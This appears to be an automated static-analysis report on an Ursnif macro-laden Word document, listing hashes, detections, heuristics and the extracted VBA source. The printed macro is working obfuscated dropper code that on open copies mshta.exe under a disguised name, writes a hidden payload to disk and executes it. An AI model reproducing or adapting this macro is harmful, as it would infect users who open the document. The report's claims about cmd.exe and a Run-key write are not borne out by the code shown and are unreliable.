Ursnif — Office (OOXML) malware analysis

Static analysis result for SHA-256 c6554ae6a2449f21…

MALICIOUS

Office (OOXML)

124.5 KB Created: 2020-03-26 01:32:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-08-25
MD5: 144adbae2cf5540bf9ade6e772deac68 SHA-1: 17edb3c6347e8f4885fa0ef89b9f4f1b9d29440c SHA-256: c6554ae6a2449f21aafec382ac7f628eadae94f82cf6b4d612f353348f451187
190 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros with an AutoOpen subroutine that calls a main function. This function uses Shell() to execute cmd.exe, likely to download and execute a second-stage payload. The reconstructed strings indicate an attempt to write to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy, suggesting a persistence mechanism. The ClamAV detection name 'Doc.Downloader.UrsnifDE0-7640644-0' strongly suggests the Ursnif family.

Heuristics 6

  • ClamAV: Doc.Downloader.UrsnifDE0-7640644-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.UrsnifDE0-7640644-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Involves causal cox restructuring radius
Shell afJ7c9 & " " & alS6dF
End Sub
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
main
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2200 bytes
SHA-256: 616e3714cb5928df72969eaac87672eee9badf36d96bd84d0ff53d55135c2e6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "a50igo"
Public Function alP79j(aCjeuR, aVvWh, amt8G)
alP79j = aVRnx(aCjeuR, aVvWh, amt8G)
End Function
Public Function abosA(aCjeuR, aVvWh, amt8G)
' Lathe apollo legitimacy
' Ralph crabs
abosA = aVRnx(aCjeuR, aVvWh, amt8G)
End Function
Public Function aZEPs(aCjeuR, aVvWh, amt8G)
aZEPs = aVRnx(aCjeuR, aVvWh, amt8G)
End Function
Sub AutoOpen()
main
End Sub
Public Sub ax5KcJ(aSgiV)
' Welcome tsp dis
' Dynamo
' Scapegoat toys
End Sub

Attribute VB_Name = "a27Jfw"
Public Function a3D8y(aYgLK, aBzCc)
' Dauphin
' Assail pasta departments ring
' Gondola clemency samba tags
' Bracelet tulle measured embedded dominica
' Verification hinged
' Holly subjective decades
' Hockey exotic manufacturer
' Facilities stop correlation
' Bystander
Open aYgLK For Output As #1
Print #1, aBzCc
Close #1
End Function
Function aVRnx(aVN6dW, anT4c, an6tlx)
' Well-bred murky totem
aVRnx = Replace(aVN6dW, anT4c, an6tlx)
End Function
Sub avMiFW(at7N5, aL1qHK)
' Wave
' Outing crescent eyelid fallacious
End Sub

Attribute VB_Name = "aHXBa"
Sub main()
aVgYX = StrReverse(alP79j("e$x$e$.$a$t$h$s$m$\$2$3$m$e$t$s$y$s$\$s$w$o$d$n$i$w$\$:$c$", "$", ""))
afJ7c9 = StrReverse(abosA("m$o$c$.$t$f$o$s$o$r$c$i$m$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", ""))
alS6dF = StrReverse(aZEPs("l$m$t$h$.$x$e$d$n$i$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", ""))
Call VBA.FileCopy(aVgYX, afJ7c9)
Set aj2vf = f.i
a3D8y alS6dF, aj2vf.value
' Highways eliminate stimulant
' Involves causal cox restructuring radius
Shell afJ7c9 & " " & alS6dF
End Sub

Attribute VB_Name = "f"
Attribute VB_Base = "0{B25C592A-84E5-48B5-924F-3676410FD106}{EB2FD8EC-3340-4E30-AB6E-F2BCC02E796C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 58368 bytes
SHA-256: 1a48f15da467f274fc86ec904a0e3d2f0da2d2a3d5977baabefa5956149cd9ca
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.